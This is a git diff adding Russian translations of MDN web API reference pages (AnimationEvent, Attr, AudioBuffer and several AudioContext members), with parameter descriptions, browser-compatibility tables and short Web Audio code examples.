The AnimationEvent() constructor returns a newly created {{domxref("AnimationEvent")}}, representing an event in relation with an animation.

+ +

Синтаксис

+ +
animationEvent = new AnimationEvent(type, {animationName: aPropertyName,
+                                           elapsedTime  : aFloat,
+                                           pseudoElement: aPseudoElementName});
+
+ +

Параметры

+ +

Конструктор AnimationEvent()  также наследует аргументы от объекта {{domxref("Event.Event", "Event()")}}.

+ +
+
type
+
A {{domxref("DOMString")}} representing the name of the type of the AnimationEvent. It is case-sensitive and can be: 'animationstart', 'animationend', or 'animationiteration'.
+
animationName {{optional_inline}}
+
A {{domxref("DOMString")}} containing the value of the {{cssxref("animation-name")}} CSS property associated with the transition. It defaults to "".
+
elapsedTime {{optional_inline}}
+
A float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. For an "animationstart" event, elapsedTime is 0.0 unless there was a negative value for {{cssxref("animation-delay")}}, in which case the event will be fired with elapsedTime containing (-1 * delay). It defaults to 0.0.
+
pseudoElement {{optional_inline}}
+
Is a {{domxref("DOMString")}}, starting with "::", containing the name of the pseudo-element the animation runs on. If the animation doesn't run on a pseudo-element but on the element itself, specify an empty string: "". It defaults to "".
+
+ +

Возвращаемое значение

+ +

A new {{domxref("AnimationEvent")}}, initialized per any provided options.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}{{ Spec2('CSS3 Animations')}}Initial definition.
+ +

Браузерная совместимость

+ + + +

{{Compat("api.AnimationEvent.AnimationEvent")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/animationevent/index.html b/files/ru/web/api/animationevent/index.html new file mode 100644 index 0000000000..746d34bfed --- /dev/null +++ b/files/ru/web/api/animationevent/index.html @@ -0,0 +1,182 @@ +--- +title: AnimationEvent +slug: Web/API/AnimationEvent +translation_of: Web/API/AnimationEvent +--- +

{{SeeCompatTable}}{{APIRef("Web Animations API")}}

+ +

AnimationEvent - это интерфейс представляющий события, содержащии информацию, связанную с анимацией.

+ +

{{InheritanceDiagram}}

+ +

Свойства

+ +

Также свойства наследуются от родителя {{domxref("Event")}}.

+ +
+
{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}
+
Является {{domxref("DOMString")}} создержащей значения {{cssxref("animation-name")}} CSS свойств связанных с transition.
+
{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}
+
Является числом с плавающей точкой, которое задаёт коливество времени от начала анимации в секундах, когда это событие отклоненно, несмотря на какое-либо время анимация была остановленна.Для события   "animationstart" , elapsedTime равно  0.0 если не было заданно отрицательное значение для {{cssxref("animation-delay")}}, в этом случае событие будет срабатывать с  elapsedTime содержащим (-1 * delay).
+
{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}
+
Является  {{domxref("DOMString")}}, начинающийся с '::', содержащий имя псевдо-элемента  ,на котором работает анимация.Если анимация не работает на псевдо-элементе, но работает на элементе,значит указанна пустая строка ' '. 
+
+

Конструктор

+ +

 

+
+
{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}
+
Создаёт событие AnimationEvent с передачей параметров.
+
+ +

Методы

+ +

Также наследуют методы от родителя {{domxref("Event")}}.

+ +
+
{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}
+
Инициализирует AnimationEvent созданную используя резко суждённый метод {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}.
+
+

Спецификация

+ +

 

+
+
+ + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}{{ Spec2('CSS3 Animations') }} +

Определяет инициализацию

+
+
+
+ +

 Поддержка браузерами

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикаChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка +

1.0 {{ property_prefix("webkit") }}

+ +

{{CompatChrome(43.0)}}

+ 		{{ CompatGeckoDesktop("6.0") }}10.012 {{ property_prefix("o") }}
+ 12.10
+ 15.0 {{ property_prefix("webkit") }}		4.0 {{ property_prefix("webkit") }}
Конструктор AnimationEvent() +

{{CompatChrome(43.0)}}

+ 		{{ CompatGeckoDesktop("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
initAnimationEvent(){{non-standard_inline}}{{deprecated_inline}}1.0{{ CompatGeckoDesktop("6.0") }}
+ Removed in {{ CompatGeckoDesktop("23.0") }}		10.0124.0
Псевдо-элемент{{CompatNo}}{{ CompatGeckoDesktop("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatVersionUnknown}}{{ property_prefix("webkit") }}{{ CompatGeckoMobile("6.0") }}10.012 {{ property_prefix("o") }}
+ 12.10
+ 15.0 {{ property_prefix("webkit") }}		{{CompatVersionUnknown}}{{ property_prefix("webkit") }}{{CompatChrome(43.0)}}
Конструктор AnimationEvent(){{CompatNo}}{{ CompatGeckoMobile("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(43.0)}}
initAnimationEvent(){{non-standard_inline}}{{deprecated_inline}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("6.0") }}
+ Removed in {{ CompatGeckoMobile("23.0") }}		10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}
Псевдо-элемент{{CompatNo}}{{ CompatGeckoMobile("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/attr/index.html b/files/ru/web/api/attr/index.html new file mode 100644 index 0000000000..a762dfa74e --- /dev/null +++ b/files/ru/web/api/attr/index.html @@ -0,0 +1,211 @@ +--- +title: Attr +slug: Web/API/Attr +translation_of: Web/API/Attr +--- +
{{APIRef("DOM")}}
+ +

Этот тип представляет атрибут элемента DOM в виде объекта. В большинстве методов DOM вы, вероятно, непосредственно извлекаете атрибут в виде строки (например, {{domxref ("Element.getAttribute ()")}}, но некоторые функции (например, {{domxref ("Element.getAttributeNode ()" )}}) или средства итерации, отдают тип Attr.

+ +

{{InheritanceDiagram}}

+ +
Внимание:  Начиная с Gecko 7.0 {{geckoRelease("7.0")}},  устаревшие  свойства и мотоды при обращении выведут  предупреждающие сообщения на консоль. Поэтому  вы должны   проверить свой код. Смотрите полный список  устаревших свойств и методов.
+ +

Свойства 

+ +
+
{{domxref("Attr.name", "name")}} {{readOnlyInline}}
+
Имя аттрибута.
+
{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}
+
{{domxref("DOMString")}} представление URI пространства имен атрибута, или NULL если нет никакого пространства имен.
+
{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}
+
{{domxref("DOMString")}}  представление локальной части полного имени атрибута.
+
{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}
+
{{domxref("DOMString")}}  представление префикс пространства имен атрибута, или NULL, если префикс не указан.
+
{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}
+
+

Элемнет, содержащий атрибут.

+ +
+

Примечание: DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент.  Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым  {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввел это свойство. 

+ +

Gecko выводит предупреждение об использовании, начиная с Gecko 7.0 {{geckoRelease("7.0")}}. Это предупреждение было удалено в Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46).

+
+
+
{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}
+
Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определен в исходном коде или сценарием и false, если ее значение прибыло из значения по умолчанию  определенном в DTD документе.
+
{{domxref("Attr.value", "value")}}
+
Значение атрибута
+
+ +
+

Примечание: уровень DOM 3 определил  namespaceURI, localName  и   prefix в {{domxref("Node")}} интерфейсе. В DOM4 они были перемещены в Attr.

+ +

Это изменение реализовано в Chrome с версии 46.0 и Firefox с версии 48.

+
+ +

Устаревшие свойства и методы 

+ +

Эти свойства устарели.  Там где это допустимо представлена соответствующая замена.

+ +
+
attributes
+
Это свойство всегда возвращает значение NULL.
+
childNodes {{obsolete_inline(14)}}
+
Это свойство всегда возвращает пустой  {{domxref("NodeList")}}.
+
firstChild {{obsolete_inline(14)}}
+
Это свойство всегда возвращает значение  NULL.
+
isId {{readOnlyInline}}
+
Указывает, является ли атрибут "ID attribute". "ID attribute" - это атрибут, значение которого должно быть уникальным в документе DOM. В HTML DOM "id" является единственным атрибутом ID, но XML-документы могут определять иные. Уникальность атрибута часто определяется {{Glossary("DTD")}} или другим описанием схемы.
+
lastChild {{obsolete_inline(14)}}
+
Это свойство всегда возвращает значение  NULL.
+
nextSibling
+
Это свойство всегда возвращает значение  NULL.
+
nodeName
+
Используйте {{domxref("Attr.name")}} взамен.
+
nodeType
+
Это свойство теперь всегда возвращает 2 (ATTRIBUTE_NODE).
+
nodeValue
+
Используйте {{domxref("Attr.value")}} взамен.
+
ownerDocument
+
 Вы не должны были использовать это свойство в первую очередь, поэтому вам, вероятно, все равно, что это  свойство больше не используется. 
+
parentNode
+
Это свойство всегда возвращает значение  NULL.
+
previousSibling
+
Это свойство всегда возвращает значение  NULL.
+
schemaTypeInfo {{obsolete_inline}} {{readOnlyInline}}
+
Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова  {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадежным, если узел был перемещен.
+
 
+
specified
+
Это свойство всегда возвращает значение  true.
+
textContent
+
Используйте  {{domxref("Attr.value")}} взамен.
+
+ +

The following methods have been deprecated:

+ +
+
appendChild() {{obsolete_inline(14)}}
+
Измените значение {{domxref("Attr.value")}} взамен.
+
cloneNode()
+
 Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. 
+
createAttribute()
+
Используйте  {{domxref("Element.setAttribute()")}} взамен.
+
createAttributeNS()
+
Используйте {{domxref("Element.setAttributeNS()")}} взамен.
+
getAttributeNode()
+
Используйте  {{domxref("Element.getAttribute()")}} взамен.
+
getAttributeNodeNS()
+
Используйте  {{domxref("Element.getAttributeNS()")}}  взамен.
+
hasAttributes() {{obsolete_inline("21.0")}}
+
Этот  метод всегда возвращает значение  false.
+
hasChildNodes()
+
Этот  метод всегда возвращает значение  false.
+
insertBefore()
+
Измените значение  {{domxref("Attr.value")}} взамен.
+
isSupported()
+
 Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. 
+
isEqualNode()
+
 Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. 
+
normalize()
+
 Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. 
+
removeAttributeNode()
+
Используйте {{domxref("Element.removeAttribute()")}} взамен.
+
removeChild() {{obsolete_inline(14)}}
+
Измените значение {{domxref("Attr.value")}} взамен..
+
replaceChild() {{obsolete_inline(14)}}
+
Modify the value of {{domxref("Attr.value")}} взамен.
+
setAttributeNode()
+
Используйте {{domxref("Element.setAttribute()")}} взамен.
+
setAttributeNodeNS()
+
Используйте {{domxref("Element.setAttributeNS()")}} взамен.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#interface-attr", "Attr")}}{{Spec2("DOM WHATWG")}}Added ownerElement property back
{{SpecName("DOM4", "#interface-attr", "Attr")}}{{Spec2("DOM4")}}Moved namespaceURI, prefix and localName from {{domxref("Node")}} to this API and removed ownerElement, schemaTypeInfo and isId.
{{SpecName("DOM3 Core", "core.html#ID-637646024", "Attr")}}{{Spec2("DOM3 Core")}}Initial definition
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]
+
+ +

[1] Начиная с Chrome 45, это свойство больше не наследуется от Node.

diff --git a/files/ru/web/api/audiobuffer/index.html b/files/ru/web/api/audiobuffer/index.html new file mode 100644 index 0000000000..3cd5485a68 --- /dev/null +++ b/files/ru/web/api/audiobuffer/index.html @@ -0,0 +1,215 @@ +--- +title: AudioBuffer +slug: Web/API/AudioBuffer +translation_of: Web/API/AudioBuffer +--- +

{{APIRef("Web Audio API")}}

+ +
+

Сводка

+ +

AudioBuffer - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в  {{ domxref("AudioBufferSourceNode") }}.

+
+ +

Объекты этого типа предназначены для хранения небольших звуковых фрагментов, обычно менее 45 секунд. Для более длинных звуков, объекты реализующие {{domxref("MediaElementAudioSourceNode")}} являются более подходящими. Этот буфер содержит данные в формате неперемещаемого IEE754 32-битного линейного ИКМ с номинальным диапазоном от -1 до +1, то есть 32-битный буфер с плавающей точкой каждого звукового фрагмента (samples) от -1.0 до 1.0. Если {{domxref("AudioBuffer")}} имеет несколько каналов, то они хранятся в отдельном буфере.

+ +

Конструктор

+ +
+
{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}
+
 Создает и возвращает новый объект AudioBuffer.
+
+

 Свойства

+
+
{{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}
+
Возвращает число с плавающей точкой - частоту дискретизации (sample rate), хранящих в буфере данных ИКМ в звуковых фрагментах (samples) в секунду.
+
{{domxref("AudioBuffer.length")}} {{readonlyInline}}
+
Возвращает целое число - длину в кадрах, хранящихся в буфере данных ИКМ.
+
{{domxref("AudioBuffer.duration")}} {{readonlyInline}}
+
Возвращает целое число или число с плавающей точкой - продолжительность в секундах данных ИКМ, хранящихся в буфере.
+
{{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}
+
Возвращает целое число - количество аудиоканалов в буфере, описываемых данными ИКМ.
+
+ +

Методы

+ +
+
{{domxref("AudioBuffer.getChannelData()")}}
+
Возвращает {{jsxref("Float32Array")}}, содержащий связанные с каналом данные ИКМ. Определяется параметром канала (с 0 - первого канала).
+
{{domxref("AudioBuffer.copyFromChannel()")}}
+
Копирует звуковые фрагменты (samples) из указанного канала AudioBuffer в массив.
+
{{domxref("AudioBuffer.copyToChannel()")}}
+
Копирует звуковые фрагменты (samples) из массива в указанный канал AudioBuffer.
+
+ +

Пример

+ +

В этом примере показывается как создать объект AudioBuffer и заполнить его случайными белыми шумами. Вы можете найти полный пример в репозитории webaudio-examples. Так же доступна live версия.

+ +
// Стерео
+var channels = 2;
+
+// Создает пустой двухсекундный стерео-буфер
+// с частотой звука AudioContext (sample rate)
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Заполняет буфер белыми шумами;
+  // просто случайные значения от -1.0 до 1.0
+  for (var channel = 0; channel < channels; channel++) {
+    // Получаем массив данных канала
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i < frameCount; i++) {
+      // Math.random() находится в [0; 1.0]
+      // аудио должно быть в интервале [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  // Получает AudioBufferSourceNode.
+  // AudioNode для проигрывания из AudioBuffer
+  var source = audioCtx.createBufferSource();
+
+  // устанавливает буфер в AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+
+  // присоединяет AudioBufferSourceNode к
+  // destination, чтобы мы могли слышать звук
+  source.connect(audioCtx.destination);
+
+  // Начать воспроизведение с источника
+  source.start();
+
+}
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}{{Spec2('Web Audio API')}}Исходное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(14.0)}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25)}}{{CompatNo}}{{CompatOpera(15)}} {{property_prefix("webkit")}}
+ {{CompatOpera(22)}}		6 {{property_prefix("webkit")}}
+

copyFromChannel() и copyToChannel()

+ 		{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(27)}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
constructor{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome для Android
Базовая поддержка{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(25)}}1.2{{CompatNo}}{{CompatVersionUnknown}}6 {{property_prefix("webkit")}}{{CompatChrome(28.0)}} {{property_prefix("webkit")}}
copyFromChannel() и copyToChannel(){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(27)}} {{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
constructor{{CompatNo}}{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(42)}}{{CompatUnknown}}{{CompatChrome(55.0)}}
+
+ +

 

+ +

См. также

+ + diff --git a/files/ru/web/api/audiocontext/createmediaelementsource/index.html b/files/ru/web/api/audiocontext/createmediaelementsource/index.html new file mode 100644 index 0000000000..dcb637c6ac --- /dev/null +++ b/files/ru/web/api/audiocontext/createmediaelementsource/index.html @@ -0,0 +1,156 @@ +--- +title: AudioContext.createMediaElementSource() +slug: Web/API/AudioContext/createMediaElementSource +translation_of: Web/API/AudioContext/createMediaElementSource +--- +

{{ APIRef("Web Audio API") }}

+ +
+

Метод createMediaElementSource() интерфейса {{ domxref("AudioContext") }} используется для создания объекта {{ domxref("MediaElementAudioSourceNode") }} из существующих HTML элементов {{htmlelement("audio")}} или {{htmlelement("video")}} для дальнейших манипуляций со звуком и его воспроизведения.

+
+ +

Узнать больше о созданном таким образом аудио узле можно на справочной странице {{ domxref("MediaElementAudioSourceNode") }}.

+ +

Синтаксис

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);
+ +

Параметры

+ +
+
myMediaElement
+
Обьект {{domxref("HTMLMediaElement")}}, который Вы хотите использовать в качестве исходного звука.
+
+ +

Возвращаемые значения

+ +

Объект {{domxref("MediaElementAudioSourceNode")}}.

+ +

Пример

+ +

Простой пример создания аудио узла из элемента {{htmlelement("audio") }} используя createMediaElementSource(), и управления усилением звука через {{ domxref("GainNode") }} перед подачей в {{ domxref("AudioDestinationNode") }} для воспроизведения. При движении мыши вызывается функция updatePage(), вычисляющая текущее усиление как отношение Y позиции курсора к общей высоте окна. Таким образом Вы можете увеличивать/уменьшать громкость звучания аудио движениями мыши вверх/вниз.

+ +
+

Примечание: Вы можете также посмотреть демонстрацию или исходники.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Создаем MediaElementAudioSourceNode
+// На основе HTMLMediaElement
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// Создаем узел контроля громкости (усиления)
+var gainNode = audioCtx.createGain();
+
+// Переменные, содержащие Y координату курсора мыши
+// и высоту окна
+var CurY;
+var HEIGHT = window.innerHeight;
+
+// Обновляем Y координату курсора при движении мышью
+// и вычисляем новый коэффициент усиления
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    gainNode.gain.value = CurY/HEIGHT;
+}
+
+
+// Последний шаг - построение графа
+// Подсоединяем AudioBufferSourceNode к gainNode
+// а gainNode, в свою очередь, к конечному узлу вывода
+// Теперь мы можем слушать музыку управляя громкостью воспроизведения движением курсора мыши :)
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+ +
+

Примечание: Вызов createMediaElementSource() перенаправит выходной поток аудиоданных из {{domxref("HTMLMediaElement")}} в обрабатывающий граф AudioContext. Управление воспроизведением медиа все ещё будет осуществляться через API медиа элемента или его панель управления.

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Audio API', '#widl-AudioContext-createMediaElementSource-MediaElementAudioSourceNode-HTMLMediaElement-mediaElement', 'createMediaElementSource()')}}{{Spec2('Web Audio API')}} 
+ +

Поддержка в браузерах

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22		6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/audiocontext/createpanner/index.html b/files/ru/web/api/audiocontext/createpanner/index.html new file mode 100644 index 0000000000..0a4d5db32b --- /dev/null +++ b/files/ru/web/api/audiocontext/createpanner/index.html @@ -0,0 +1,211 @@ +--- +title: AudioContext.createPanner() +slug: Web/API/AudioContext/createPanner +translation_of: Web/API/BaseAudioContext/createPanner +--- +

{{ APIRef("Web Audio API") }}

+ +
+

Метод createPanner() интерфейса {{ domxref("AudioContext") }} применяется для создания нового {{domxref("PannerNode")}}, который используется для размещения аудиопотока в виртуальном 3D пространстве.

+
+ +

The panner node is spatialized in relation to the AudioContext's {{domxref("AudioListener") }} (defined by the {{domxref("AudioContext.listener") }} attribute), which represents the position and orientation of the person listening to the audio.

+ +

Синтаксис

+ +
var audioCtx = new AudioContext();
+var panner = audioCtx.createPanner();
+ +

Возврат

+ +

A {{domxref("PannerNode")}}.

+ +

Пример

+ +
+
Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода createPanner() для управления пространством объемного звука. Обычно определяется положение в трехмерном пространстве, изначально занимаемое слушателем (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями moveRight(), moveLeft(), и т.п., которые устанавливают новые значения для положения паннера через функцию PositionPanner().
+ +
 
+ +
+
+
Чтобы увидеть полную реализацию ознакомьтесь с нашим примером panner-node (просмотрите весь список примеров) — эта демонстрация перенесет вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на бумбоксе и затем походить вокруг него и посмотреть как изменяется звук!
+ +
 
+
+
+
+ +

Note how we have used some feature detection to either give the browser the newer property values (like {{domxref("AudioListener.forwardX")}}) for setting position, etc. if it supports those, or older methods (like {{domxref("AudioListener.setOrientation()")}}) if it still supports those but not the new properties.

+ +
// set up listener and panner position information
+// установка сведений о слушателе (listener) и положении panner'а
+var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var xPos = Math.floor(WIDTH/2);
+var yPos = Math.floor(HEIGHT/2);
+var zPos = 295;
+
+// define other variables (определяем другие переменные)
+
+var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var panner = audioCtx.createPanner();
+panner.panningModel = 'HRTF';
+panner.distanceModel = 'inverse';
+panner.refDistance = 1;
+panner.maxDistance = 10000;
+panner.rolloffFactor = 1;
+panner.coneInnerAngle = 360;
+panner.coneOuterAngle = 0;
+panner.coneOuterGain = 0;
+
+if(panner.orientationX) {
+  panner.orientationX.value = 1;
+  panner.orientationY.value = 0;
+  panner.orientationZ.value = 0;
+} else {
+  panner.setOrientation(1,0,0);
+}
+
+var listener = audioCtx.listener;
+
+if(listener.forwardX) {
+  listener.forwardX.value = 0;
+  listener.forwardY.value = 0;
+  listener.forwardZ.value = -1;
+  listener.upX.value = 0;
+  listener.upY.value = 1;
+  listener.upZ.value = 0;
+} else {
+  listener.setOrientation(0,0,-1,0,1,0);
+}
+
+var source;
+
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+var boomBox = document.querySelector('.boom-box');
+
+var listenerData = document.querySelector('.listener-data');
+var pannerData = document.querySelector('.panner-data');
+
+leftBound = (-xPos) + 50;
+rightBound = xPos - 50;
+
+xIterator = WIDTH/150;
+
+// listener will always be in the same place for this demo
+// в этом демо слушатель всегда находится на одном и том же месте
+
+if(listener.positionX) {
+  listener.positionX.value = xPos;
+  listener.positionY.value = yPos;
+  listener.positionZ.value = 300;
+} else {
+  listener.setPosition(xPos,yPos,300);
+}
+
+listenerData.innerHTML = 'Listener data: X ' + xPos + ' Y ' + yPos + ' Z ' + 300;
+
+// panner will move as the boombox graphic moves around on the screen
+// паннер будет перемещаться по экрану за перемещением бумбокса
+function positionPanner() {
+  if(panner.positionX) {
+    panner.positionX.value = xPos;
+    panner.positionY.value = yPos;
+    panner.positionZ.value = zPos;
+  } else {
+    panner.setPosition(xPos,yPos,zPos);
+  }
+  pannerData.innerHTML = 'Panner data: X ' + xPos + ' Y ' + yPos + ' Z ' + zPos;
+}
+ +
+

In terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of fiddly math involved, but you will soon get used to it with a bit of experimentation.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createPanner-PannerNode', 'createPanner()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/ru/web/api/audiocontext/currenttime/index.html b/files/ru/web/api/audiocontext/currenttime/index.html new file mode 100644 index 0000000000..51370701f4 --- /dev/null +++ b/files/ru/web/api/audiocontext/currenttime/index.html @@ -0,0 +1,97 @@ +--- +title: AudioContext.currentTime +slug: Web/API/AudioContext/currentTime +translation_of: Web/API/BaseAudioContext/currentTime +--- +

{{ APIRef("AudioContext") }}

+
+

Поле currentTime принадлежит {{ domxref("AudioContext") }} и возвращает время с момента создания AudioContext. Может использоваться при планировании воспроизведения или визуализации.  Поле currentTime является не перезаписываемым и не может быть остановлено или сброшено.

+
+

Синтаксис

+
var audioCtx = new AudioContext();
+console.log(audioCtx.currentTime);
+

Тип данных

+

A double.

+

Примеры

+
+

Примечание: для большего понимания реализации Web Audio, посмотрите наши Web Audio Demos на MDN Github repo, like panner-node. Попробуйте ввести audioCtx.currentTime в консоли вашего браузера.

+
+
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.currentTime);
+
+

Specifications

+ + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}{{Spec2('Web Audio API')}} 
+

Browser compatibility

+
+ {{CompatibilityTable}}
+
